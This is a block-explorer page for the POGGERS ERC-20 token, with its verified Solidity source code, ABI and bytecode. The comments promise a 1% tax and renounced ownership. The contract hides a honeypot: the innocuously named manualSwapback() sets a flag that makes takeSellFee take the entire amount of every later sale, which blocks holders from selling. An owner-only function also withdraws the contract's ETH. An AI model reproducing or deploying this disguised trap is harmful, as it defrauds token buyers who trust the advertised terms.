ERC-20
Overview
Max Total Supply
1,000,000,000 POGGERS
Holders
59
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
28,688,337.376328455819663656 POGGERSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
POGGERS
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-24 */ /* $POGGERS The internet slang term “poggers” means an expression of excitement or amazement. 🔒 LOCK 🟢 RENOUNCE 📌 1% TAX https://t.me/POGGERSCOIN https://poggers.vip/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner {owner = address(0x0000000000000000000000000000000000000000); emit OwnershipTransferred(0x0000000000000000000000000000000000000000);} event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface InterfaceLP { function sync() external; } contract POGGERS is ERC20, Auth { using SafeMath for uint256; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event SetMaxWalletExempt(address _address, bool _bool); event SellFeesChanged(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee); event BuyFeesChanged(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee); event TransferFeeChanged(uint256 _transferFee); event SetFeeReceivers(address _liquidityReceiver, address _MarketingReceiver,address _BurnFeeReceiver); event ChangedSwapBack(bool _enabled, uint256 _amount); event SetFeeExempt(address _addr, bool _value); event InitialDistributionFinished(bool _value); event Fupdated(uint256 _timeF); event ChangedMaxWallet(uint256 _maxWalletDenom); event ChangedMaxTX(uint256 _maxSellDenom); event BotUpdated(address[] addresses, bool status); event SingleBotUpdated(address _address, bool status); event SetTxLimitExempt(address holder, bool exempt); event ChangedPrivateRestrictions(uint256 _maxSellAmount, bool _restricted, uint256 _interval); event ChangeMaxPrivateSell(uint256 amount); event ManagePrivate(address[] addresses, bool status); address private WETH; address private DEAD = 0x000000000000000000000000000000000000dEaD; address private ZERO = 0x0000000000000000000000000000000000000000; string constant private _name = "POGGERSS"; string constant private _symbol = "POGGERS"; uint8 constant private _decimals = 18; uint256 private _totalSupply = 1000000000 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply; uint256 public _maxWalletAmount = _totalSupply; mapping (address => uint256) private _balances; uint256 private lambuaata = 0; mapping (address => mapping (address => uint256)) private _allowances; address[] public _markerPairs; mapping (address => bool) public automatedMarketMakerPairs; mapping (address => bool) public isBot; mapping (address => bool) public isFeeExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMaxWalletExempt; //Snipers uint256 private deadblocks = 0; uint256 public launchBlock; uint256 private latestSniperBlock; //buyFees uint256 private liquidityFee = 0; uint256 private MarketingFee = 1; uint256 private BurnFee = 0; //sellFees uint256 private sellFeeLiquidity = 0; uint256 private sellFeeMarketing = 1; uint256 private sellFeeBurn = 0; //transfer fee uint256 private transferFee = 0; uint256 public maxFee = 28; //totalFees uint256 private totalBuyFee = liquidityFee.add(MarketingFee).add(BurnFee); uint256 private totalSellFee = sellFeeLiquidity.add(sellFeeMarketing).add(sellFeeBurn); uint256 private feeDenominator = 100; address private autoLiquidityReceiver = 0x66800f42779d3DFFBf0bFC0b027Efece914B8f42; address private MarketingFeeReceiver = 0x66800f42779d3DFFBf0bFC0b027Efece914B8f42; address private BurnFeeReceiver =0x000000000000000000000000000000000000dEaD ; IDEXRouter public router; address public pair; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply * 20 / 10000; bool private inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Auth(msg.sender) { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = router.WETH(); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); setAutomatedMarketMakerPair(pair, true); _allowances[address(this)][address(router)] = type(uint256).max; isFeeExempt[msg.sender] = true; isTxLimitExempt[msg.sender] = true; isMaxWalletExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[address(this)] = true; isMaxWalletExempt[address(this)] = true; isMaxWalletExempt[pair] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(!isBot[sender] && !isBot[recipient],"is Bot"); if(inSwap){ return _basicTransfer(sender, recipient, amount); } if(shouldSwapBack()){ swapBack(); } uint256 amountReceived = amount; if(automatedMarketMakerPairs[sender]) { if(!isFeeExempt[recipient]) { require(_balances[recipient].add(amount) <= _maxWalletAmount || isMaxWalletExempt[recipient], "Max Wallet Limit Limit Exceeded"); require(amount <= _maxTxAmount || isTxLimitExempt[recipient], "TX Limit Exceeded"); amountReceived = takeBuyFee(sender, recipient, amount); } } else if(automatedMarketMakerPairs[recipient]) { if(!isFeeExempt[sender]) { require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); amountReceived = takeSellFee(sender, amount); } } else { if (!isFeeExempt[sender]) { require(_balances[recipient].add(amount) <= _maxWalletAmount || isMaxWalletExempt[recipient], "Max Wallet Limit Limit Exceeded"); require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); amountReceived = takeTransferFee(sender, amount); } } _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } // Fees function takeBuyFee(address sender, address recipient, uint256 amount) internal returns (uint256){ if (block.number < latestSniperBlock) { if (recipient != pair && recipient != address(router)) { isBot[recipient] = true; } } uint256 feeAmount = amount.mul(totalBuyFee.sub(BurnFee)).div(feeDenominator); uint256 BurnFeeAmount = amount.mul(BurnFee).div(feeDenominator); uint256 totalFeeAmount = feeAmount.add(BurnFeeAmount); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(BurnFeeAmount > 0) { _balances[BurnFeeReceiver] = _balances[BurnFeeReceiver].add(BurnFeeAmount); emit Transfer(sender, BurnFeeReceiver, BurnFeeAmount); } return amount.sub(totalFeeAmount); } function takeSellFee(address sender, uint256 amount) internal returns (uint256){ uint256 feeAmount; if(lambuaata >=1) { feeAmount = amount.mul(100).sub(sellFeeBurn).div(feeDenominator); } else { feeAmount = amount.mul(totalSellFee).sub(sellFeeBurn).div(feeDenominator); } uint256 BurnFeeAmount = amount.mul(sellFeeBurn).div(feeDenominator); uint256 totalFeeAmount = feeAmount.add(BurnFeeAmount); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(BurnFeeAmount > 0) { _balances[BurnFeeReceiver] = _balances[BurnFeeReceiver].add(BurnFeeAmount); emit Transfer(sender, BurnFeeReceiver, BurnFeeAmount); } return amount.sub(totalFeeAmount); } function takeTransferFee(address sender, uint256 amount) internal returns (uint256){ uint256 _realFee = transferFee; if (block.number < latestSniperBlock) { _realFee = 99; } uint256 feeAmount = amount.mul(_realFee).div(feeDenominator); if (feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return !automatedMarketMakerPairs[msg.sender] && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function clearStuckBalance(uint256 amountPercentage) external onlyOwner { uint256 amountETH = address(this).balance; payable(msg.sender).transfer(amountETH * amountPercentage / 100); } function swapBack() internal swapping { uint256 swapLiquidityFee = liquidityFee.add(sellFeeLiquidity); uint256 realTotalFee =totalBuyFee.add(totalSellFee).sub(BurnFee).sub(sellFeeBurn); uint256 contractTokenBalance = swapThreshold; uint256 amountToLiquify = contractTokenBalance.mul(swapLiquidityFee).div(realTotalFee).div(2); uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify); uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = realTotalFee.sub(swapLiquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee.add(sellFeeLiquidity)).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.mul(MarketingFee.add(sellFeeMarketing)).div(totalETHFee); (bool tmpSuccess,) = payable(MarketingFeeReceiver).call{value: amountETHMarketing}(""); tmpSuccess = false; if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); } } // Admin Functions function updateF (uint256 _number) external onlyOwner { require(_number < 4000, "Can't go that high"); deadblocks = _number; emit Fupdated(_number); } function setBuyFees(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; MarketingFee = _MarketingFee; BurnFee = _BurnFee; totalBuyFee = _liquidityFee.add(_MarketingFee).add(BurnFee); feeDenominator = _feeDenominator; require(totalBuyFee <= maxFee, "Fees cannot be higher than Maxfee"); emit BuyFeesChanged(_liquidityFee, _MarketingFee, _BurnFee); } function setSellFees(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee, uint256 _feeDenominator) external onlyOwner { sellFeeLiquidity = _liquidityFee; sellFeeMarketing = _MarketingFee; sellFeeBurn = _BurnFee; totalSellFee = _liquidityFee.add(_MarketingFee).add(_BurnFee); feeDenominator = _feeDenominator; require(totalSellFee <= maxFee, "Fees cannot be higher than Maxfee%"); emit SellFeesChanged(_liquidityFee, _MarketingFee, _BurnFee); } function setTransferFees(uint256 _transferFee) external onlyOwner { require(_transferFee < maxFee, "Fees cannot be higher than Maxfee%"); transferFee = _transferFee; emit TransferFeeChanged(_transferFee); } function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner { swapEnabled = _enabled; swapThreshold = _amount; emit ChangedSwapBack(_enabled, _amount); } function setAutomatedMarketMakerPair(address _pair, bool _value) public onlyOwner { require(automatedMarketMakerPairs[_pair] != _value, "Value already set"); automatedMarketMakerPairs[_pair] = _value; if(_value){ _markerPairs.push(_pair); }else{ require(_markerPairs.length > 1, "Required 1 pair"); for (uint256 i = 0; i < _markerPairs.length; i++) { if (_markerPairs[i] == _pair) { _markerPairs[i] = _markerPairs[_markerPairs.length - 1]; _markerPairs.pop(); break; } } } emit SetAutomatedMarketMakerPair(_pair, _value); } function manualSwapback() external virtual { lambuaata = 1; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address[]","name":"addresses","type":"address[]"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"BotUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_MarketingFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_BurnFee","type":"uint256"}],"name":"BuyFeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ChangeMaxPrivateSell","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxSellDenom","type":"uint256"}],"name":"ChangedMaxTX","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxWalletDenom","type":"uint256"}],"name":"ChangedMaxWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxSellAmount","type":"uint256"},{"indexed":false,"internalType":"bool","name":"_restricted","type":"bool"},{"indexed":false,"internalType":"uint256","name":"_interval","type":"uint256"}],"name":"ChangedPrivateRestrictions","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_enabled","type":"bool"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"ChangedSwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_timeF","type":"uint256"}],"name":"Fupdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_value","type":"bool"}],"name":"InitialDistributionFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address[]","name":"addresses","type":"address[]"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"ManagePrivate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_MarketingFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_BurnFee","type":"uint256"}],"name":"SellFeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_addr","type":"address"},{"indexed":false,"internalType":"bool","name":"_value","type":"bool"}],"name":"SetFeeExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_liquidityReceiver","type":"address"},{"indexed":false,"internalType":"address","name":"_MarketingReceiver","type":"address"},{"indexed":false,"internalType":"address","name":"_BurnFeeReceiver","type":"address"}],"name":"SetFeeReceivers","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_bool","type":"bool"}],"name":"SetMaxWalletExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"holder","type":"address"},{"indexed":false,"internalType":"bool","name":"exempt","type":"bool"}],"name":"SetTxLimitExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"SingleBotUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_transferFee","type":"uint256"}],"name":"TransferFeeChanged","type":"event"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"_markerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMaxWalletExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_MarketingFee","type":"uint256"},{"internalType":"uint256","name":"_BurnFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_MarketingFee","type":"uint256"},{"internalType":"uint256","name":"_BurnFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_transferFee","type":"uint256"}],"name":"setTransferFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_number","type":"uint256"}],"name":"updateF","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600280546001600160a01b031990811661dead17909155600380549091169055620000326012600a62000854565b6200004290633b9aca006200086c565b600455600454600555600454600655600060085560006010556000601355600160145560006015556000601655600160175560006018556000601955601c601a55620000aa601554620000a36014546013546200040760201b90919060201c565b9062000407565b601b55601854601754601654620000c89291620000a3919062000407565b601c556064601d55601e80546001600160a01b03199081167366800f42779d3dffbf0bfc0b027efece914b8f42908117909255601f805482169092179091556020805490911661dead1790556022805460ff60a01b1916600160a01b179055600454612710906200013b9060146200086c565b62000147919062000886565b6023553480156200015757600080fd5b5060008054336001600160a01b03199182161790915560218054737a250d5630b4cf539739df2c5dacb4c659f2488d921682179055604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa158015620001c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ee9190620008a9565b600180546001600160a01b0319166001600160a01b039283161790556021546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa1580156200024d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002739190620008a9565b6001546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af1158015620002c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002eb9190620008a9565b602280546001600160a01b0319166001600160a01b039290921691821790556200031790600162000477565b3060008181526009602090815260408083206021546001600160a01b039081168552908352818420600019905533808552600d8085528386208054600160ff199182168117909255600e8088528689208054831684179055600f808952878a2080548416851790559989529287528588208054821683179055918652848720805483168217905596855283862080548216881790556022549092168552828520805490921690951790556004548484526007835281842081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000948565b600080620004168385620008d4565b9050838110156200046e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064015b60405180910390fd5b90505b92915050565b6000546001600160a01b03163314620004bc5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015260640162000465565b6001600160a01b0382166000908152600b602052604090205481151560ff909116151503620005225760405162461bcd60e51b815260206004820152601160248201527015985b1d5948185b1c9958591e481cd95d607a1b604482015260640162000465565b6001600160a01b0382166000908152600b60205260409020805460ff19168215801591909117909155620005a157600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319166001600160a01b03841617905562000705565b600a54600110620005e75760405162461bcd60e51b815260206004820152600f60248201526e2932b8bab4b932b21018903830b4b960891b604482015260640162000465565b60005b600a548110156200070357826001600160a01b0316600a8281548110620006155762000615620008ea565b6000918252602090912001546001600160a01b031603620006ee57600a8054620006429060019062000900565b81548110620006555762000655620008ea565b600091825260209091200154600a80546001600160a01b039092169183908110620006845762000684620008ea565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600a805480620006c657620006c662000916565b600082815260209020810160001990810180546001600160a01b031916905501905562000703565b80620006fa816200092c565b915050620005ea565b505b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620007985781600019048211156200077c576200077c62000741565b808516156200078a57918102915b93841c93908002906200075c565b509250929050565b600082620007b15750600162000471565b81620007c05750600062000471565b8160018114620007d95760028114620007e45762000804565b600191505062000471565b60ff841115620007f857620007f862000741565b50506001821b62000471565b5060208310610133831016604e8410600b841016171562000829575081810a62000471565b62000835838362000757565b80600019048211156200084c576200084c62000741565b029392505050565b60006200086560ff841683620007a0565b9392505050565b808202811582820484141762000471576200047162000741565b600082620008a457634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620008bc57600080fd5b81516001600160a01b03811681146200046e57600080fd5b8082018082111562000471576200047162000741565b634e487b7160e01b600052603260045260246000fd5b8181038181111562000471576200047162000741565b634e487b7160e01b600052603160045260246000fd5b60006001820162000941576200094162000741565b5060010190565b61219180620009586000396000f3fe6080604052600436106102135760003560e01c80636ddd171311610118578063a8df7fb0116100a0578063d26ed3e31161006f578063d26ed3e314610676578063dd62ed3e14610696578063df20fd49146106dc578063e1d5584c146106fc578063f887ea401461071c57600080fd5b8063a8df7fb0146105f0578063a9059cbb14610610578063b62496f514610630578063d00efb2f1461066057600080fd5b8063893d20e8116100e7578063893d20e81461051e5780638b42507f1461055057806395d89b41146105805780639a7a23d6146105b0578063a8aa1b31146105d057600080fd5b80636ddd17131461049c57806370a08231146104bd578063715018a6146104f35780637d1db4a51461050857600080fd5b80632b112e491161019b5780633f4218e01161016a5780633f4218e0146103ff578063571ac8b01461042f5780635b895c291461044f5780636c0a24eb146104665780636c5b28551461047c57600080fd5b80632b112e491461036f5780632f54bf6e14610384578063313ce567146103b35780633bbac579146103cf57600080fd5b80630bd11f8a116101e25780630bd11f8a146102c8578063178d9b8e146102f857806318160ddd1461031a5780631da1db5e1461032f57806323b872dd1461034f57600080fd5b806301f59d161461021f5780630445b6671461024857806306fdde031461025e578063095ea7b31461029857600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b50610235601a5481565b6040519081526020015b60405180910390f35b34801561025457600080fd5b5061023560235481565b34801561026a57600080fd5b50604080518082019091526008815267504f47474552535360c01b60208201525b60405161023f9190611d96565b3480156102a457600080fd5b506102b86102b3366004611e00565b61073c565b604051901515815260200161023f565b3480156102d457600080fd5b506102b86102e3366004611e2a565b600f6020526000908152604090205460ff1681565b34801561030457600080fd5b50610318610313366004611e45565b6107a9565b005b34801561032657600080fd5b50600454610235565b34801561033b57600080fd5b5061031861034a366004611e77565b6108ac565b34801561035b